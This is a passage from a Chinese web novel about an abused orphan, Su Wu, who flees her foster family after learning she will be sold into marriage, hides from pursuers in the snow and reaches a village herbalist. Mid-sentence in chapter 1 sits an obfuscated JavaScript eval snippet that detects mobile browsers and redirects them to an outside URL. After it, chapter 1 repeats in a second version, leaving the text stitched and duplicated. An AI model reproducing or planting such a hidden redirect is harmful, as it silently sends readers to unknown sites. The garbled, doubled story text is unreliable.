《尘间玉碎又重圆》 1. 柴房寒虐·隐忍待破 隆冬腊月,朔风卷着鹅毛大雪,把苏家村裹得严严实实,连屋檐下的冰棱都冻得有手指粗,砸在地上能碎成尖利的冰碴。村尾苏家的柴房,比外面的雪地还要冷几分——四壁漏风,糊着的旧纸早已被寒风撕得支离破碎,地上铺着一层潮湿发霉的柴草,踩上去软黏刺骨,唯一的一堆柴火早已燃成灰烬,只剩几粒火星在灰堆里苟延残喘,连一丝像样的暖意都攒不起来。 苏芜蜷缩在柴堆最里侧的角落,身上裹着一件看不出原色的薄衣,补丁摞着补丁,袖口和衣摆早已磨破,露出冻得青紫的胳膊和脚踝。她把膝盖紧紧抵在胸口,怀里揣着半块硬邦邦的窝头,那是她今早从灶房的泔水桶边偷偷捡来的,被体温焐得稍软,却依旧硌得胸口发疼——这是她近三天来,唯一能果腹的东西。她的头发枯黄打结,黏在满是灰尘和冻疮的脸颊上,额角一道旧伤还未结痂,那是昨日被族婶王桂香打的,此刻被寒风一吹,钻心的疼。 她不敢动,也不敢出声,连呼吸都放得极轻,仿佛这样就能躲过那场注定要来的打骂。这些年,她早已摸清了苏家的规矩:王桂香的怒火从来不需要理由,苏翠的刁难也从来不会缺席,她的隐忍,是唯一能少受些苦楚的法子。 “哐当——”一声巨响,柴房的木门被人狠狠踹开,门板撞在墙上,发出沉闷的声响,随即又弹回来,来回晃动着。寒风裹挟着大片的雪沫子灌了进来,吹得苏芜浑身剧烈一颤,冻得发紫的嘴唇抿得更紧,下意识地往柴堆深处又缩了缩,把自己裹得更严实些。 王桂香叉着腰,满脸横肉因愤怒而扭曲,身上穿着一件半旧的棉袄,袖口却绣着俗气的碎花,与她刻薄的模样格格不入。她踩着厚厚的积雪,咯吱咯吱地走进来,鞋上的雪水蹭在潮湿的柴草上,留下一串泥泞的脚印。她的身后,跟着穿着崭新棉鞋、裹着花围巾的苏翠,苏翠手里攥着一件绣着鸳鸯的红衣——那是她的嫁妆衣裳,此刻衣角沾着几点泥污,苏翠的脸上挂着假意的委屈,眼底却藏着毫不掩饰的得意。 “死丫头!你躲在这里做什么?想偷懒耍滑是不是!”王桂香几步就冲到了苏芜面前,居高临下地瞪着她,声音尖利得像刮铁,“我让你天不亮就起来劈柴、挑水,再把翠儿的嫁妆衣裳洗干净,你看看你,干的什么勾当!” 话音未落,王桂香就伸出粗糙有力的手,一把揪住了苏芜枯黄的头发,力道大得几乎要把她的头皮扯下来。苏芜疼得浑身一僵,眉头紧紧皱起,牙齿死死咬着下唇,硬是没发出一声痛呼,眼泪在眼眶里打转,却被她硬生生逼了回去——她知道,眼泪只会换来更残酷的打骂,示弱从来都不是她的退路。 “婶子……我劈完柴了,挑了三桶水,衣裳也洗干净了,晾在院子里……”苏芜的声音又轻又哑,带着难以掩饰的颤抖,不是因为害怕,而是因为寒冷和疼痛,“翠儿的衣裳,不是我弄脏的……” “你还敢狡辩!”王桂香气得浑身发抖,猛地一使劲,把苏芜的头往旁边的柴堆上狠狠撞去。“咚”的一声闷响,苏芜的额头撞在坚硬的柴棍上,旧伤未愈又添新伤,鲜血瞬间涌了出来,顺着脸颊滑落,滴在冻硬的柴草上,晕开一小片暗沉的红。她眼前一黑,险些栽倒,却依旧死死咬着牙,双手紧紧攥着衣角,指甲深深嵌进掌心,用那点尖锐的疼痛,维持着最后的清醒。 苏翠凑上前来,故意把那件沾了泥污的红衣递到苏芜眼前,娇滴滴地拉着王桂香的胳膊,添油加醋道:“娘,你看,这可是我最爱的嫁妆衣裳,明天就要试穿给张公子看的,姐姐怎么能这么狠心,把它弄脏呢?”说着,她抬起脚,穿着崭新棉鞋的脚,狠狠踩在苏芜冻得青紫、布满冻疮的手上,来回碾了碾。 “啊——”指尖传来的剧痛,终于让苏芜忍不住低呼了一声,那声音微弱得像蚊子叫,很快就被寒风淹没。她的手被踩得蜷缩起来,冻疮被碾破,渗出血丝,混着泥土,狼狈不堪。苏翠却笑得更得意了,压低声音,用只有两人能听到的语气说道:“苏芜,你就是个没人要的孤女,凭什么和我比?我能嫁去镇上当少奶奶,你却只能在这里当牛做马,弄脏我的衣裳,是你这辈子最大的福气!” 苏芜缓缓闭上了眼睛,眼底的恨意和不甘,像潮水一样翻涌,却又被她硬生生压了下去,藏得一丝不剩。她知道,苏翠说的是实话——她无父无母,无依无靠,被苏家收养,从来不是恩情,只是多了一个免费的劳力,一个可以随意打骂、随意摆布的出气筒。争辩无用,反抗无用,唯有隐忍,唯有活下去,才有一线生机。 她想起小时候,父母还在的时候,她也曾有过温暖的家,有过干净的衣裳,有过父母的疼爱,跟着父亲念过几句诗,跟着母亲认过几种草药。可一场瘟疫,夺走了她所有的一切,从此,她就坠入了这无边无际的黑暗里,日复一日,年复一年,在打骂和欺凌中苟延残喘。她默默记着山间的草药,记着村里教书先生偶尔念起的字句,记着王桂香记账时的模样——她不是甘心被欺凌,只是在默默积蓄力量,等着一个能逃离这里的机会。 王桂香骂够了,也打够了,揪着苏芜头发的手稍稍松了些,却依旧恶狠狠地说道:“死丫头,给我听好了,现在就去院子里,把翠儿的衣裳重新洗干净,用胰子搓,搓到能照出人影来!再劈够十五捆柴,填满灶房的柴房,要是明天一早我看不到,就打断你的腿!” 苏芜微微点头,声音轻得像叹息:“我知道了,婶子。” 可王桂香还不算完,她俯下身,凑到苏芜耳边,语气里满是残忍和贪婪:“还有一件事,我告诉你,翠儿的嫁妆还差五十两银子,我已经和山里的李老光棍说好了,再过五天,就把你卖给她当媳妇,换五十两银子,正好给翠儿添嫁妆。” 卖给李老光棍? 苏芜猛地睁开眼睛,眼底的平静被彻底打破,闪过一丝难以掩饰的惊恐,随即又被浓浓的绝望包裹。她见过那个李老光棍,年过半百,头发花白,脸上有一道长长的刀疤,性情残暴不堪,听说他之前娶过两个媳妇,都被他打得遍体鳞伤,最后活生生饿死、打死了。嫁给这样的人,比死还要可怕! “婶子……我不嫁……我不能嫁……”苏芜的声音带着一丝哀求,这是她第一次敢反抗王桂香,不是因为勇敢,而是因为绝境,“我可以多劈柴、多挑水、多洗衣裳,我可以去山里采草药换钱,我不要被卖给李老光棍,求你了……” “求我?你也配求我?”王桂香冷笑一声,又狠狠扇了苏芜一个耳光,力道之大,让苏芜的嘴角瞬间溢出了血丝,脸颊也肿了起来,“你是我们苏家收养的,你的命就是我们苏家的,我们想把你卖给谁,就卖给谁,由不得你说了算!” 她又狠狠踹了苏芜一脚,苏芜重心不稳,摔倒在冰冷的柴草上,额头的伤口又开始渗血,手上的疼痛钻心刺骨,浑身冻得僵硬,可这些,都比不上心底的绝望。她趴在柴草上,没有再挣扎,也没有再哀求,只是缓缓闭上了眼睛,眼泪终于忍不住,顺着脸颊滑落,滴在柴草上,瞬间就冻成了小小的冰珠。 “娘,我们别和她废话了,冻着我们就不好了。”苏翠拉了拉王桂香的胳膊,嫌弃地看了一眼趴在地上的苏芜,“她要是敢不洗衣裳、不劈柴,明天再好好教训她就是了,反正她也跑不了。” 王桂香冷哼一声,松开揪着苏芜头发的手,啐了一口:“死丫头,识相点,别想着逃跑,这苏家村,你插翅难飞!要是敢跑,我就把你抓回来,打断你的腿,再卖给更不堪的人!” 说完,她拉着苏翠,转身就走,木门被“砰”的一声关上,隔绝了外面的风雪,也彻底隔绝了苏芜最后的一丝希望。柴房里又恢复了寂静,只剩下寒风从门缝里灌进来的呜咽声,还有苏芜压抑的、细微的喘息声。 灰堆里的火星彻底熄灭了,柴房里越来越冷,冻得苏芜浑身发抖,意识都开始有些模糊。额头的伤口在疼,脸颊在疼,手在疼,浑身都在疼,可最疼的,是她的心——那是一种被全世界抛弃、被命运碾压的绝望,是一种连活下去都成了奢望的无助。 可就在这份绝望里,有一丝微弱的火苗,悄悄燃了起来。 她不能嫁,不能死。她要逃跑,要逃离这个吃人的苏家,要逃离这个让她受尽苦难的地方。她想起自己藏在柴房墙角的一个破布包,里面装着她这几年在山间辛辛苦苦采来的草药,有止血的,有治病的,听说拿到镇上的药铺,能换些银子;还有她省吃俭用,偷偷攒下的几文钱,那是她唯一的积蓄。 苏芜缓缓撑起身子,每动一下,都伴随着钻心的疼痛。她扶着冰冷的墙壁,一点点挪到柴房的墙角,小心翼翼地挖出那个破布包,紧紧抱在怀里。布包里的草药还带着山间的寒气,却给了她一丝微弱的勇气。她抬起头,望向柴房唯一的窗户,窗户上结着厚厚的薄冰,透过薄冰,能看到外面微弱的月光,那月光清冷,却照亮了她眼底的坚定。 隐忍不是懦弱,绝境也不是终点。她忍了这么多年,受了这么多苦,不是为了被卖给老光棍,不是为了死在这冰冷的柴房里。她要活下去,要靠着自己的力量,活下去,活得比任何人都好。 夜色渐深,风雪渐停,柴房里的寒意依旧刺骨,可苏芜的眼神,却越来越坚定。她用破旧的布条,笨拙地包扎着额头的伤口和手上的冻疮,布条很快就被鲜血浸透,却依旧紧紧缠着——那是她的伤口,也是她的勋章。她把破布包揣进怀里,又把那半块窝头塞进袖口,然后,一步步朝着窗户走去。 窗户的木栓年久失修,又被冻得发脆,苏芜用尽全身的力气,死死攥着木栓,一点点用力,“咔嚓”一声,木栓终于被掰断了。她推开窗户,一股清冷的月光洒了进来,落在她狼狈不堪的身上,却像是给她镀上了一层微光。 窗外,雪地上积了厚厚的一层雪,月光洒在雪地上,泛着淡淡的银辉,照亮了一条通往远方的路。苏芜深吸一口气,没有丝毫犹豫,纵身跳出了窗户,踩在厚厚的积雪上,发出轻微的咯吱声。她回头看了一眼那座囚禁了她十几年、带给她无尽痛苦和欺凌的苏家小院,眼底没有丝毫留恋,只有一片冰冷的坚定。 她转身,朝着京城的方向,一步步走去。身影单薄而渺小,在茫茫白雪中,像一株被狂风摧残却依旧倔强生长的野草,在绝境里,死死攥着那一丝微光,不肯放弃。寒夜漫漫,前路茫茫,她不知道自己要走多久,不知道前路会遇到什么,不知道自己能不能活下去,但她知道,她必须走下去——为了自己,为了那未完成的逃离,为了那一丝活下去的希望。 隆冬腊月,寒风像刀子一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239928|197681||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样刮过苏家村的屋檐,柴房里没有一丝暖意,只有一堆快要熄灭的柴火,散发着微弱的热气,勉强驱散些许寒意。苏芜蜷缩在柴堆角落,身上裹着一件打满补丁、沾满污渍的薄衣,怀里紧紧揣着半块冰冷的窝头,这是她今天唯一的食物。 柴房的门被“哐当”一声踹开,寒风裹挟着雪沫子灌了进来,苏芜浑身一颤,下意识地缩了缩身子,抬起头,就看到族婶王桂香叉着腰,满脸怒容地站在门口,身后跟着一脸得意的族妹苏翠。 “死丫头!你倒是会享清福!”王桂香几步走到苏芜面前,一把揪住她的头发,狠狠往柴堆上撞去,“让你劈柴,你劈到哪儿去了?让你给翠儿洗嫁妆衣裳,你竟敢偷懒,把衣裳洗得脏兮兮的,你是不是故意的?” 剧烈的疼痛传来,苏芜的额头磕出了一道血痕,鲜血顺着脸颊滑落,滴在冰冷的柴草上,她咬着牙,没有哭,也没有挣扎,只是低声说道:“婶子,我没有偷懒,衣裳我洗干净了,是翠儿自己弄脏的,柴我也劈好了,放在院子里。” “你还敢狡辩!”王桂香气得脸色发白,又狠狠扇了苏芜一个耳光,力道之大,让苏芜的嘴角溢出了血丝,“翠儿那么乖,怎么会弄脏自己的嫁妆衣裳?分明是你嫉妒翠儿能嫁去镇上当少奶奶,故意刁难她!我看你就是个白眼狼,我们收养你这么多年,供你吃供你穿,你就是这么报答我们的?” 苏翠站在一旁,捂着嘴偷偷笑,还故意添油加醋:“娘,你别生气,姐姐可能就是一时糊涂,不过,姐姐也太过分了,我明天就要去镇上了,她却故意弄脏我的衣裳,我看她就是不想让我好过。”说着,她走上前,故意踩了踩苏芜的手,“姐姐,你就不能安分一点吗?你就是个没人要的孤女,能留在我们家,已经是天大的福气了,还敢惹我生气?” 苏芜的手被踩得生疼,指甲缝里渗进了泥土,她依旧没有反抗,只是缓缓闭上了眼睛,将眼底的恨意与不甘,深深藏在心底。她知道,争辩无用,反抗只会换来更残酷的打骂,苏家收养她,从来不是出于好心,只是多了一个免费的劳力,一个可以随意打骂、随意摆布的工具。 她想起自己的父母,想起他们在世时,对她的疼爱,想起那时,她不用干重活,不用受打骂,还能跟着父亲念几句诗,跟着母亲认几种草药。可自从父母去世后,她就成了无依无靠的孤女,被苏家收养,从此跌入了万劫不复的深渊。 王桂香骂够了,打够了,又揪着苏芜的头发,恶狠狠地说道:“死丫头,给我听着,明天一早,把翠儿的衣裳重新洗干净,劈够十捆柴,要是再敢偷懒,再敢狡辩,我就打断你的腿!还有,再过几天,翠儿的嫁妆就差些银子,我已经和山里的李老光棍说好了,把你卖给她当媳妇,换些银子给翠儿当嫁妆,你最好识相点,别想着逃跑!” 卖给山里的老光棍? 苏芜猛地睁开眼睛,眼底闪过一丝惊恐,随即被浓浓的绝望与不甘取代。她见过那个李老光棍,年过半百,相貌丑陋,性情残暴,听说他之前娶过两个媳妇,都被他打死了。她宁愿死,也不愿意嫁给那样的人! 王桂香见她眼神不对,又狠狠踹了她一脚:“怎么?你不愿意?我告诉你,由不得你!你是我们苏家收养的,你的命就是我们苏家的,我们想把你卖给谁,就卖给谁,你敢反抗试试!” 说完,王桂香拉着苏翠,冷哼一声,摔门而去,柴房的门被关上,寒风依旧从门缝里灌进来,冻得苏芜浑身发抖。 柴堆里的柴火快要熄灭了,暖意一点点消散,苏芜蜷缩在角落,额头的伤口还在疼,嘴角的血丝已经凝固,手上的疼痛钻心刺骨,可这些,都比不上心底的绝望与不甘。 她不能嫁,不能死,她要逃离这里,要活下去。 苏芜缓缓抬起头,望向柴房的窗户,窗户上结着一层薄冰,透过薄冰,能看到外面微弱的月光。她想起自己偷偷藏在柴房角落的几株草药,那是她这几年在山间收集的,据说能卖些银子;想起自己偷偷攒下的半块窝头,那是她省了好几天的粮食。 夜色渐深,寒风渐缓,苏芜的眼神,从最初的绝望,慢慢变得坚定。她缓缓站起身,拍了拍身上的灰尘,走到柴房角落,拿出藏起来的草药和窝头,小心翼翼地揣在怀里,又找了一根破旧的布条,简单包扎了一下额头的伤口和手上的伤痕。 她走到窗户边,用力掰了掰窗户的木栓,木栓年久失修,又被冻得发脆,她费了九牛二虎之力,终于将木栓掰断,推开了窗户。窗外,雪已经停了,月光洒在雪地上,泛着微弱的光芒,照亮了她前行的路。 苏芜深吸一口气,没有丝毫犹豫,纵身跳出了窗户,踩在厚厚的积雪上,发出轻微的声响。她回头看了一眼那座囚禁了她十几年、带给她无尽痛苦的苏家小院,眼底没有丝毫留恋,转身,朝着京城的方向,一步步走去。 寒夜漫漫,前路茫茫,她不知道自己要走多久,不知道前路会遇到什么,不知道自己能不能活下去。但她知道,她必须走下去,必须逃离这尘泥般的困境,必须有一天,站在阳光下,活得比任何人都好。 月光下,她的身影单薄而渺小,却带着一股不屈不挠的韧劲,像一株生长在石缝里的野草,在绝境中,倔强地寻找着属于自己的微光。 2. 寒途险象·草药渡关 隆冬腊月的寒夜,雪刚歇了,天地间一片素白,连月光落下来,都像是被冻住了,洒在苏家村的雪地上,泛着一层冷幽幽的银辉。苏芜纵身跳出柴房的窗户,双脚落在没过脚踝的积雪里,刺骨的寒意瞬间从脚底窜遍全身,让她忍不住打了个寒颤,原本就冻得麻木的腿,更是一阵发软,险些栽倒。 她扶着窗沿稳了稳身形,回头望了一眼那座黑黢黢的苏家小院,院门关得严实,里面没有一丝光亮,却像一头蛰伏的野兽,藏着她十几年的苦难与屈辱。额头的伤口还在淌血,顺着脸颊滑进脖颈,和冰冷的雪水混在一起,带来一阵又一阵的刺痛,手上的冻疮被磨破,血珠渗出来,沾在窗沿的木头上,留下一点暗红的印记。她没有丝毫留恋,抬手抹了一把脸上的血和雪,攥紧了怀里的破布包,转身便朝着村外的方向,深一脚浅一脚地走去。 这一走,便没有回头路了。 她不敢走村里的大路,只能沿着院墙根的窄巷走,脚下的积雪被踩得咯吱作响,在这寂静的寒夜里,显得格外刺耳。苏芜把脚步放得极轻,几乎是踮着脚在走,耳朵竖得老高,听着身后的动静,生怕王桂香和苏大柱发现她逃跑,立刻追出来。她的心跳得飞快,像要撞出胸膛,手心沁出冷汗,沾湿了怀里的布包,触到干枯的草药,才勉强寻得一丝心安。 苏家在村尾,离村外的山坳不远,可这短短半里路,苏芜走得格外艰难。她身上的薄衣根本抵不住隆冬的寒风,风像刀子似的刮在脸上、脖子上,割得生疼,冻得发紫的嘴唇抿得紧紧的,连呼吸都带着白雾,吸进肺里,都是冰冷的疼。她的头发上落了雪,很快就融化成水,顺着脸颊往下淌,和血混在一起,狼狈不堪。 走到村头的老槐树旁,苏芜才敢稍稍停下,靠在冰冷的树干上歇了片刻。她低头看了看自己的脚,脚上的旧布鞋早就磨破了底,雪水渗进去,把袜子浸得透湿,脚底磨出了几个小血泡,一踩就疼。她蹲下身,把鞋脱下来,倒出里面的雪和泥,想把袜子拧干,可手指冻得僵硬,连弯腰的力气都快没了,稍一用力,手上的冻疮就钻心的疼,眼泪在眼眶里打转,却被她硬生生逼了回去。 这些年在苏家,她早就学会了把眼泪咽进肚子里。哭解决不了任何问题,只会让那些欺凌她的人更加得意。她咬着牙,用冻得不听使唤的手指,把袜子扯下来,随手扔在雪地里,又把鞋穿上,哪怕鞋底磨破,总好过光脚踩在雪地里。 做完这一切,她扶着树干缓缓站起身,刚要迈步,就听到村里传来几声狗吠,紧接着,是苏大柱粗哑的骂声,似乎是在喊家里的狗。苏芜的心瞬间提到了嗓子眼,不敢再停留,转身就朝着村外的山坳跑去。她跑得急,脚下的积雪滑,好几次都险些摔倒,额头的伤口因为剧烈的动作,淌出更多的血,模糊了视线,她只能用袖子胡乱擦一把,凭着本能往前跑。 山坳的入口处,全是没膝的积雪,还有密密麻麻的矮荆棘,荆棘的枝桠上挂着雪,尖刺露在外面,像一把把小刀子。苏芜钻进荆棘丛里,枝桠刮破了她的衣袖,扎进她的胳膊和脚踝,划出一道道细小的血口,雪水渗进去,疼得她浑身一颤。可她不敢慢下来,只能硬生生往前钻,直到钻进山坳深处,听不到村里的动静了,才敢停下脚步,靠在一棵粗壮的老松树下,大口大口地喘着气。 此时的她,浑身都是伤,额头的血还在流,胳膊和脚踝被荆棘划得满是血痕,手上的冻疮破了,血珠混着泥土,粘在掌心,脚底的血泡也破了,每动一下,都像是踩在刀尖上。她顺着树干滑坐在雪地上,背靠着粗糙的树皮,终于敢稍稍放松一点。 怀里的破布包还在,里面是她这几年在山间采的草药,有止血草、金银花、柴胡,还有几株她偶然发现的、能治风寒的艾草,都是她趁着放牛、割草的间隙,一点点采来、晒干,偷偷藏在柴房墙角的,这是她唯一的积蓄,也是她活下去的希望。袖口的半块窝头还在,硬邦邦的,被体温焐得稍软,她拿出来,掰了一点点,放进嘴里,窝头粗糙坚硬,刮得喉咙生疼,可她吃得格外珍惜,每一口都嚼得极细,咽下去之后,才觉得空荡荡的肚子里,有了一丝微弱的暖意。 她不敢多吃,这半块窝头,是她不知道要走多久的干粮,她不知道前路还有多远,不知道什么时候才能再吃到东西,只能省着点。吃完那一点点窝头,她把剩下的窝头重新塞回袖口,又从布包里掏出几株止血草,用冻得僵硬的手指,一点点揉碎。 止血草的叶片干枯,揉碎后散发出淡淡的草腥味,她把揉碎的草药敷在额头的伤口上,草药的清凉感瞬间缓解了些许疼痛,又掏出几株,敷在手上和胳膊的伤口上,然后从身上扯下一块破旧的布条,小心翼翼地包扎好。这是母亲生前教她的,母亲是个懂草药的妇人,生前总带着她在山间采草药,教她认各种草药的样子,说什么草能止血,什么草能治风寒,什么草能解毒。那时的她,还是个被父母捧在手心的小姑娘,从没想过,这些在当时看来无关紧要的本事,会成为她日后在绝境里求生的依仗。 想起父母,苏芜的眼眶微微泛红。那是她生命里仅有的温暖,一场瘟疫,却把那点温暖彻底撕碎了。父母走后,她成了无依无靠的孤女,被远房族叔苏大柱收养,本以为能有个容身之所,没想到却是跌入了另一个地狱。十几年的欺凌,十几年的苟延残喘,她像一株被踩在泥里的野草,任人践踏,可她从来没有真正放弃过,她总想着,总有一天,她能逃离这里,能靠着自己的力量活下去。 现在,她终于逃出来了。 哪怕前路茫茫,哪怕天寒地冻,哪怕身上满是伤痕,可她自由了。 这份自由,让她心底那丝微弱的火苗,一点点燃了起来,驱散了些许寒意,也给了她继续走下去的勇气。 苏芜靠在松树下,歇了约莫半个时辰,身体的力气稍稍恢复了一点,身上的寒意却越来越重,牙齿开始打颤,浑身止不住地发抖。她知道,不能再在这里久留,山坳里夜里更冷,再待下去,怕是会被冻死在这里。而且苏大柱和王桂香发现她逃跑后,必定会派人出来追捕,这里离村子太近,很容易被发现。 她撑着树干,缓缓站起身,拍了拍身上的雪,辨了辨方向,朝着京城的方向走去。她只听村里的教书先生说过,京城在东南方,是大靖王朝的都城,那里很大,有很多人,只要能到那里,就能活下去。至于京城到底是什么样子,有多远,她一概不知,她只知道,朝着东南方走,总能走到的。 山坳里的路,比村外的路难走百倍。积雪没膝,脚下全是松软的雪和坚硬的石头,稍不注意,就会踩空,摔进雪坑里。苏芜的脚早就没了知觉,只能凭着感觉往前走,脚底的血泡破了,血混着雪水,把鞋里的泥土粘成了泥团,每走一步,都带着钻心的疼痛。她的腿像灌了铅似的,沉重无比,走不了几步,就需要歇一歇,可她不敢歇太久,只能咬着牙,一步步往前挪。 夜色越来越浓,月光被云层遮住,天地间一片漆黑,只有脚下的雪,泛着一点微弱的白光。苏芜只能借着这点微光,辨认脚下的路,她的眼前开始发黑,头也晕乎乎的,额头的伤口还在疼,身上的伤一处连着一处,疼得她意识都开始有些模糊。她知道,自己这是累到了,也冻到了,再这样下去,怕是撑不住了。 她扶着一棵矮树,弯腰干呕了几声,却什么也吐不出来,肚子里空空如也,只有一股酸涩的滋味往上涌。她从布包里掏出一点艾草,揉碎了,塞进鼻子里,艾草的辛辣味直冲脑门,让她混沌的意识稍稍清醒了一点。 就在这时,她听到不远处传来杂乱的脚步声,还有男人的说话声,夹杂着风雪的呼啸,格外刺耳。 “那死丫头肯定跑不远,桂香说了,活要见人,死要见尸,必须把她抓回去,五十两银子呢,可不能白白浪费了!” 是苏大柱的声音,粗哑蛮横,带着不容置疑的凶狠。 “柱哥,这大半夜的,天寒地冻的,她一个丫头片子,能跑哪儿去?怕是早就冻僵在哪个雪沟里了。”另一个男人的声音响起,带着几分不耐烦,是村里的壮汉牛二,苏大柱的跟班。 “冻僵了也得找!桂香说了,就算是死了,也得把尸体找回去,不能让她就这么便宜了!”苏大柱的声音又响起来,“她肯定往山坳里跑了,这丫头平时总往山里钻,采些破草药,肯定以为山里能藏住她,我们仔细找找,她那身破衣裳,在雪地里显眼得很!” 脚步声越来越近,还有木棍拨弄积雪的声音,显然是他们拿着木棍,在雪地里四处搜寻。 苏芜的心脏狂跳不止,浑身的汗毛都竖了起来,一股寒意从脚底窜遍全身,比这隆冬的寒风还要刺骨。她下意识地屏住呼吸,转身就往旁边的石缝里钻。那是一道狭窄的石缝,藏在老松树的后面,被积雪和荆棘遮住,不仔细看,根本发现不了。石缝很窄,只能容下一个人,苏芜钻进去的时候,胳膊和后背被石缝的尖石刮破,疼得她差点叫出声,可她死死咬着下唇,把声音咽进肚子里,连呼吸都放得极轻,生怕被外面的人发现。 她蜷缩在石缝里,身体紧紧贴着冰冷的石壁,石壁上的寒气渗进骨头里,让她浑身发抖。她能听到外面的脚步声越来越近,能听到苏大柱和牛二的说话声,甚至能听到他们的呼吸声。她的手心沁出冷汗,紧紧攥着怀里的布包,指甲深深嵌进掌心,连手上的疼痛都感觉不到了,只觉得心脏快要跳出来了。 “柱哥,你看这是什么?”牛二的声音突然响起,“好像是一块破布,还有点血!” 苏芜的心跳瞬间停了一拍,那是她刚才包扎伤口时,掉在雪地里的布条,上面还沾着她的血。 “是不是那死丫头的?”苏大柱的声音带着急切,“快找找,她肯定就在附近!” 木棍拨弄积雪的声音离石缝越来越近,苏芜甚至能看到石缝外,一道黑影晃过,那是苏大柱的身影。她把自己缩成一团,埋在膝盖里,闭上眼睛,心里只有一个念头:别发现我,别发现我。 她能感觉到,苏大柱的脚步就停在石缝外面,木棍在石缝口的积雪上拨弄着,尖刺的木棍差点就戳进石缝里。苏芜的身体僵得像一块石头,连眼皮都不敢眨一下,冷汗顺着额头往下淌,和伤口的血混在一起,滴在冰冷的雪地上。 “柱哥,这石缝里会不会藏着人?”牛二的声音响起。 苏大柱沉默了片刻,用木棍戳了戳石缝口的荆棘,骂道:“这石缝这么窄,连条狗都钻不进去,那死丫头怎么可能藏在这里?怕是早就往山坳深处跑了,我们追上去!” 说完,脚步声渐渐远去,夹杂着他们的骂声,最终消失在山坳深处。 苏芜直到听不到任何声响,才缓缓松开紧咬的下唇,长长地舒了一口气,紧绷的身体瞬间放松下来,浑身脱力,瘫坐在石缝里,大口大口地喘着气。她的嘴唇被咬出了血,血腥味在嘴里弥漫开来,可她却感觉不到疼,只有劫后余生的庆幸,像一股暖流,稍稍驱散了心底的寒意。 她靠在石壁上,缓了好一会儿,才敢探出头,看了看外面的情况,雪地里空荡荡的,没有任何人的身影,苏大柱和牛二已经走远了。她这才从石缝里钻出来,拍了拍身上的雪和泥土,不敢再停留,立刻朝着山坳深处走去。 她知道,苏大柱不会轻易放弃,他们肯定还会在山坳里搜寻,她必须走得更远,离他们越远越好。 这一夜,苏芜就在山坳里艰难地跋涉着。她不知道走了多久,只知道天快亮的时候,她终于走出了山坳,眼前出现了一条狭窄的土路,土路两旁是低矮的灌木丛,远处隐约能看到一个小小的村落,村落的屋顶上飘着袅袅炊烟,在这寒冷的冬日里,显得格外温暖。 天渐渐亮了,东方的天际染上了一抹淡淡的鱼肚白,太阳慢慢升起来,洒下一点微弱的阳光,却丝毫驱散不了冬日的寒意。苏芜站在土路的路口,看着远处的村落,眼眶微微泛红。她走了整整一夜,身上的力气早就耗尽了,脚底的鞋彻底磨破了,露出冻得发紫的脚趾,脚趾上的血泡破了,混着泥和雪,狼狈不堪。她的头发乱糟糟的,脸上满是灰尘和血痕,身上的薄衣被划得满是口子,露出冻得青紫的皮肤,整个人看起来,像个从雪地里爬出来的乞丐。 她扶着路边的灌木丛,缓缓蹲下身子,再也支撑不住,瘫坐在雪地上。她的眼前发黑,头重脚轻,浑身止不住地发抖,意识也开始有些模糊,她知道,自己这是冻病了,再这样下去,怕是撑不住了。 她从怀里掏出破布包,小心翼翼地打开,里面的草药还在,她挑出几株柴胡和艾草,揉碎了,塞进嘴里,慢慢嚼着。柴胡的味道微苦,艾草的味道辛辣,嚼在嘴里,滋味并不好受,可她却吃得格外认真,这些草药能治风寒,能让她保持清醒,能让她活下去。 嚼完草药,她靠在灌木丛上,歇了约莫一个时辰,太阳渐渐升高,一点微弱的暖意洒在身上,让她混沌的意识稍稍清醒了一点。她知道,自己必须去那个村落,她身无分文,身上满是伤,还冻病了,若是不去村落里换些干粮和治伤的药,怕是走不到京城,就会死在半路上。 可她也知道,村落里人多眼杂,若是被村里人发现她的模样,难免会盘问,若是被苏大柱的人发现,那她就前功尽弃了。 她犹豫了片刻,最终还是咬了咬牙,撑着身子站起身,朝着村落的方向走去。她把身上的破布扯了扯,遮住脸上的血痕,又把头发拢了拢,遮住额头的伤口,尽量让自己看起来不那么狼狈,然后低着头,沿着土路的墙角,慢慢走着,尽量避开行人的目光。 村落不大,只有几十户人家,家家户户的屋顶都覆盖着厚厚的积雪,门口挂着晒干的玉米和辣椒,透着一股浓浓的烟火气。路上有早起的村民,穿着厚厚的棉袄,缩着脖子,匆匆走着,看到苏芜这副狼狈的模样,都投来异样的目光,有人低声议论着,有人露出同情的神色,还有人露出嫌弃的模样。 苏芜低着头,不敢看他们,只是加快了脚步,走到村落中央,她看到一户人家的门口,挂着一块小小的木牌,木牌上刻着“药铺”两个字,字迹潦草,却清晰可见。她的眼睛亮了亮,心底涌起一丝希望,这是她现在唯一的出路了。 她深吸一口气,定了定神,缓缓走上前,轻轻敲了敲药铺的木门。敲门声微弱,却在这寂静的村落里,格外清晰。 过了片刻,木门“吱呀”一声被打开,一个穿着灰色长衫、头发花白的老者探出头来。老者约莫六十多岁,面容慈祥,脸上带着些许皱纹,眼睛却很亮,他上下打量了苏芜一番,看到她狼狈的模样,眼底闪过一丝诧异,随即又化为同情,开口问道:“你是谁家的丫头?怎么弄得这么狼狈?这大冬天的,怎么一个人在外面?” 苏芜抬起头,声音又轻又哑,带着难以掩饰的疲惫和怯懦,还有一丝不易察觉的警惕:“老……老先生,我是路过的,家乡遭了灾,家人都没了,只能四处流浪,身上有一些自己采的草药,想卖给您,换些干粮和盘缠,求您行行好……” 她没有说出自己的真实遭遇,她知道,人心隔肚皮,她一个无依无靠的孤女,若是说出自己被家人追捕,怕是会引来更多的麻烦,甚至会被人送回去。她只能谎称家乡遭灾,这是最稳妥的说法。 她说着,小心翼翼地把怀里的破布包递了过去,眼底满是恳求。这布包里的草药,是她现在唯一的希望,她不敢奢求太多,只求能换一口吃的,能换一点治伤的药,能让她继续朝着京城走去。 